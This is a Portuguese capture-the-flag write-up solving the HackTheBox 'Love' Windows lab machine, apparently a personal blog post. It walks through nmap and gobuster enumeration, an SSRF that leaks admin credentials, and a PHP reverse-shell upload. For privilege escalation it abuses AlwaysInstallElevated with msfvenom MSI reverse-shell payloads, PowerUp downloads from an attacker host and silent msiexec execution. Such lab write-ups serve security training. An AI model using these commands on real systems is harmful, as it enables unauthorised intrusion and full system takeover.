8 minutos
HackTheBox - Love
Neste ‘writeup’ veremos a resolução da máquina ‘Love’ do HackTheBox. Na parte de escalação de privilégios é demonstrado como obter shell do Administrator de várias formas abusando do ‘AlwaysInstallElevated’ habilitado no sistema.
Informações da Máquina
IP: 10.10.10.239
Sistema Operacional: Windows
Nível de dificuldade: Easy
Varredura e Enumeração
Port Scan
# Nmap 7.91 scan initiated Thu Jun 24 17:39:25 2021 as: nmap -v -sC -sV -p 80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 -Pn -oN details.txt 10.10.10.239
Nmap scan report for 10.10.10.239
Host is up (0.48s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-cookie-flags:
| /:
| PHPSESSID: examples
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Voting System using PHP
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Issuer: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-01-18T14:00:16
| Not valid after: 2022-01-18T14:00:16
| MD5: bff0 1add 5048 afc8 b3cf 7140 6e68 5ff6
|_SHA-1: 83ed 29c4 70f6 4036 a6f4 2d4d 4cf6 18a2 e9e4 96c2
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, HTTPOptions, Help, Kerberos, LANDesk-RC, LDAPBindReq, LPDString, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|_ Host '10.10.16.52' is not allowed to connect to this MariaDB server
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Issuer: commonName=LOVE
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-11T14:39:19
| Not valid after: 2024-04-10T14:39:19
| MD5: d35a 2ba6 8ef4 7568 f99d d6f4 aaa2 03b5
|_SHA-1: 84ef d922 a70a 6d9d 82b8 5bb3 d04f 066b 12f8 6e73
|_ssl-date: 2021-06-24T21:16:39+00:00; +33m52s from scanner time.
| tls-alpn:
|_ http/1.1
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.91%I=7%D=6/24%Time=60D4ED8E%P=x86_64-pc-linux-gnu%r(HT
SF:TPOptions,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x
SF:20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(RTSPR
SF:equest,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20a
SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(RPCCheck
SF:,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSVersionBind
SF:ReqTCP,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20a
SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSStatu
SF:sRequestTCP,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not
SF:\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Hel
SF:p,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowe
SF:d\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SSLSessionReq
SF:,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(TerminalServer
SF:Cookie,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20a
SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(TLSSessi
SF:onReq,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20al
SF:lowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Kerberos,
SF:4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed\
SF:x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SMBProgNeg,4A,"
SF:F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed\x20t
SF:o\x20connect\x20to\x20this\x20MariaDB\x20server")%r(LPDString,4A,"F\0\0
SF:\x01\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed\x20to\x20
SF:connect\x20to\x20this\x20MariaDB\x20server")%r(LDAPBindReq,4A,"F\0\0\x0
SF:1\xffj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed\x20to\x20con
SF:nect\x20to\x20this\x20MariaDB\x20server")%r(SIPOptions,4A,"F\0\0\x01\xf
SF:fj\x04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed\x20to\x20connect
SF:\x20to\x20this\x20MariaDB\x20server")%r(LANDesk-RC,4A,"F\0\0\x01\xffj\x
SF:04Host\x20'10\.10\.16\.52'\x20is\x20not\x20allowed\x20to\x20connect\x20
SF:to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h18m52s, deviation: 3h30m02s, median: 33m51s
| smb-os-discovery:
| OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
| OS CPE: cpe:/o:microsoft:windows_10::-
| Computer name: Love
| NetBIOS computer name: LOVE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-06-24T14:16:15-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-24T21:16:22
|_ start_date: N/A
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 24 17:42:50 2021 -- 1 IP address (1 host up) scanned in 204.45 seconds
Enumeração de diretórios
Enumerando os diretórios com o gobuster foi possível encontrar uma página de login ‘admin’ e serviços como ‘tcpdf’.
$ gobuster dir -u http://10.10.10.239 -w /home/bruno/github/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
/includes (Status: 301) [Size: 340] [--> http://10.10.10.239/includes/]
/images (Status: 301) [Size: 338] [--> http://10.10.10.239/images/]
/.html (Status: 403) [Size: 302]
/admin (Status: 301) [Size: 337] [--> http://10.10.10.239/admin/]
/plugins (Status: 301) [Size: 339] [--> http://10.10.10.239/plugins/]
/.htm (Status: 403) [Size: 302]
/webalizer (Status: 403) [Size: 302]
/. (Status: 200) [Size: 4388]
/phpmyadmin (Status: 403) [Size: 302]
/.htaccess (Status: 403) [Size: 302]
/examples (Status: 503) [Size: 402]
/.htc (Status: 403) [Size: 302]
/dist (Status: 301) [Size: 336] [--> http://10.10.10.239/dist/]
/.html_var_de (Status: 403) [Size: 302]
/licenses (Status: 403) [Size: 421]
/server-status (Status: 403) [Size: 421]
/.htpasswd (Status: 403) [Size: 302]
/con (Status: 403) [Size: 302]
/tcpdf (Status: 301) [Size: 337] [--> http://10.10.10.239/tcpdf/]
/.html. (Status: 403) [Size: 302]
/.html.html (Status: 403) [Size: 302]
/.htpasswds (Status: 403) [Size: 302]
/.htm. (Status: 403) [Size: 302]
/.htmll (Status: 403) [Size: 302]
/.html.old (Status: 403) [Size: 302]
/.html.bak (Status: 403) [Size: 302]
/.ht (Status: 403) [Size: 302]
/.htm.htm (Status: 403) [Size: 302]
/aux (Status: 403) [Size: 302]
/.hta (Status: 403) [Size: 302]
/.html1 (Status: 403) [Size: 302]
/.htgroup (Status: 403) [Size: 302]
/.html.lck (Status: 403) [Size: 302]
/.html.printable (Status: 403) [Size: 302]
/prn (Status: 403) [Size: 302]
/.htm.lck (Status: 403) [Size: 302]
/.htaccess.bak (Status: 403) [Size: 302]
/.html.php (Status: 403) [Size: 302]
/.htmls (Status: 403) [Size: 302]
/.htx (Status: 403) [Size: 302]
/server-info (Status: 403) [Size: 421]
/.htlm (Status: 403) [Size: 302]
Webserver
Acessando a porta 80 encontramos uma página de login, solicitando a ID de votação e senha.
http://10.10.10.239/
Acessando a URL do tcpdf surge uma mensagem de erro.
http://10.10.10.239/tcpdf/tcpdf.php
Acessando a porta 5000 é informado que não temos permissão para visualizar seu conteúdo.
Para acessar a aplicação via domínio, que é mostrado pelo nmap, adicionamos o IP da máquina ao /etc/hosts.
10.10.10.239 love.htb staging.love.htb
Acessando a página via https.
Visualizando o certificado aparece um potencial nome de usuário do sistema, o ‘roy@love.htb’
Acessando a página via domínio aparece um menú com uma opção “Demo”.
A página “demo” mostra um campo para submeter uma URL e informar o conteúdo da página solicitada.
http://staging.love.htb/beta.php
Vulnerabilidade
Nesta página ‘Demo’ foram feitos diversos testes usando as URLS e portas mostradas na saída do Nmap:
- Ao informar 127.0.0.1 mostra a página de login.
- Ao informar 127.0.0.1/admin/ mostra a página de login do admin.
- Ao informar o 127.0.0.1/server-status mostra o status do servidor.
- Ao informar love.htb:47001 é mostrado o erro “404 not found”.
- Ao informar o path C:\xampp\htdocs\omrs\tcpdf\tcpdf.php mostra a mensagem “Forbidden You don’t have permission to access this resource”.
Após várias tentativas com portas e URLs a aplicação revela na porta 5000 a credencial do usuário admin.
127.0.0.1:5000
admin: @LoveIsInTheAir!!!!
Com as credenciais deste usuário podemos efetuar o login na área do admin.
http://10.10.10.239/admin/index.php
Visualizando o ‘dashboard’ do admin após efetuar o login.
Exploração
Explorando o dashboard encontramos uma listagem de votantes.
Nesta página é possível cadastrar um novo votante com a possibilidade de fazer o upload de uma imagem. No campo de imagem deste form foi possível submeter um ‘reverse shell’ em PHP.
O arquivo PHP será salvo na pasta images.
http://10.10.10.239/images/myshell.php
Após submeter o cadastro de votante e chamar o arquivo PHP enviado, recebemos a conexão do host com o usuário ‘phoebe’.
Visualizando o conteúdo do diretório ‘images’ com o ‘reverse shell’ em PHP.
Conteúdo do diretório ‘omrs’ com os arquivos da aplicação Web.
Em busca de credenciais encontramos o diretório ‘includes’ com o arquivo conn.php, responsável pela conexão com o banco de dados Mysql.
C:\xampp\htdocs\omrs\includes\conn.php
Credenciais do usuário ‘phoebe’.
phoebe:HTB#9826^(_
Obtendo a flag do usuário ‘phoebe’.
Escalação de Privilégios
Executando o WinPEAS temos como resultado uma opção para escalar privilégios no host através do privilégio “Always Install Elevated”.
Quando estes dois registros do Windows estão habilitados os usuários com qualquer privilégio podem instalar arquivos .msi como NT AUTHORITY SYSTEM (Administrator).
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Como mostrado no site hacktricks o atacante pode gerar payloads manualmente para executar no host.
Existem duas opções para obter a shell do administrador, criando um .msi que crie um usuário com privilégios de Administrador ou um .msi que execute um ‘reverse shell’ e entregue a shell do administrador.
Além da forma manual também existe a opção automatizada usando o Metasploit. Uma vez obtido o ‘reverse shell’ com o usuário ‘phoebe’ o módulo correspondente pode ser chamado para escalar privilégios.
Módulo do Metasploit:
exploit/windows/local/always_install_elevated
Para executar os módulos .msi manualmente no host sem provocar interferências do sistema de proteção do Windows é interessante desabilitar o UAC (User Account Control) como forma de prevenção.
powershell.exe -nop -exec bypass
Chamando o powershell para executar comandos mais avançados no sistema.
powershell
Ainda no shell do usuário podemos subir ao host o módulo PowerUp.ps1 e logo em seguida fazer a importação do mesmo.
Invoke-WebRequest '<ip>:<port>/PowerUp.ps1' -OutFile C:\Users\Phoebe\Downloads\PowerUp.ps1
Import-Module ./PowerUp.ps1
O PowerUP.ps1 possui o comando abaixo para criar dentro do diretório atual um binário MSI Windows para escalar privilégios. Após gerar o binário basta executá-lo.
Write-UserAddMSI
Comando para verificar se o privilégio está habilitado.
Get-RegistryAlwaysInstallElevated
Neste outro link é mostrado como usar o módulo UserAdd.msi para poder criar um novo usuário com privilégios.
Write-UserAddMSI
Com o msfvenom podemos gerar na máquina local um payload para obter a shell do usuário administrator.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi -o reverse.msi
Efetuando no host o download do reverse.msi.
Invoke-WebRequest '<ip>:<port>/reverse.msi' -OutFile C:\Users\Phoebe\Downloads\reverse.msi
Executando o reverse.msi no host.
msiexec /quiet /qn /i reverse.msi
Recebendo o ‘reverse shell’ com usuário NT AUTHORITY SYSTEM.
Obtendo a flag do usuário Administrator.
Conforme mostrado neste ‘writeup’ existem várias maneiras de escalar privilégios no Windows quando o ‘AlwaysInstallElevated’ está habilitado no sistema.
Até a próxima!